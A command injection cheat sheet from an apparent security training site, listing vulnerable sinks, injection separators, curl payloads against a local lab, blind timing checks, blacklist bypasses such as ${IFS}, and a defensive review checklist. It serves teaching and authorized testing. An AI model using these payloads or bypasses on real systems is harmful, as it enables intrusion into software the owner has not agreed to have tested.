Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 03. Command Injection

Cheatsheet

Use this as a quick reference while testing command injection in labs and authorized assessments.


Common Sinks

os.system
subprocess.run(..., shell=True)
subprocess.Popen(..., shell=True)
popen
backticks
system()
exec()
template helpers
admin diagnostics
file converters
archive handlers
image processors

Input Locations

host
ip
domain
url
path
file
filename
format
template
printer
backup name
archive name
diagnostic option

Harmless Proof Commands

id
whoami
pwd
uname -a

Use small proof commands first. The goal is to prove shell interpretation, not to be noisy.


Separators

Run next command:

localhost; id

Run next command only if the first succeeds:

localhost && id

Run next command only if the first fails:

badhost || id

Pipe into another command:

localhost | id

Command substitution:

localhost $(id)
localhost `id`

Newline:

localhost
id

Lab curl Checks

Normal request:

curl -i -X POST "http://127.0.0.1:5000/command-injection/basic" \
  -d "target=localhost"

Basic exploit:

curl -i -X POST "http://127.0.0.1:5000/command-injection/basic" \
  --data-urlencode "target=localhost; id"

Weak blacklist bypass:

curl -i -X POST "http://127.0.0.1:5000/command-injection/blacklist" \
  --data-urlencode "target=localhost | id"

Better-stage exploit through the second field:

curl -i -X POST "http://127.0.0.1:5000/command-injection/better" \
  --data-urlencode "target=localhost" \
  --data-urlencode "label=lookup; id"

Fixed route:

curl -i -X POST "http://127.0.0.1:5000/command-injection/fixed" \
  --data-urlencode "target=localhost; id"

The fixed route should reject the input instead of running it.


Blind Checks

Timing proof:

localhost; sleep 3

Output redirection proof inside a local lab:

localhost; id > /tmp/ootw-cmdi-proof

Use blind checks only when direct output is not returned.


Blacklist Bypass Ideas

If ; is blocked, try:

&&
||
|
newline
$()
backticks

If spaces are blocked, shell parsing may still accept:

${IFS}
tabs
newlines

If the obvious parameter is protected, check nearby fields:

label
filename
format
debug
mode
path

Blacklists usually fail because shell syntax has many equivalent ways to express command boundaries.


Output Clues

uid=
gid=
/bin/sh:
not found
permission denied
syntax error
root
www-data
apache
nginx
kali

Defensive Review

Confirm:

  • No route uses shell=True with user-controlled input.
  • Commands are called with argument arrays.
  • Input is validated with strict allowlists.
  • Labels and filenames are not mixed into shell commands.
  • The application uses libraries instead of shell commands where possible.
  • Subprocess calls have timeouts.
  • The web process runs with least privilege.
  • Rejected command-like input is logged.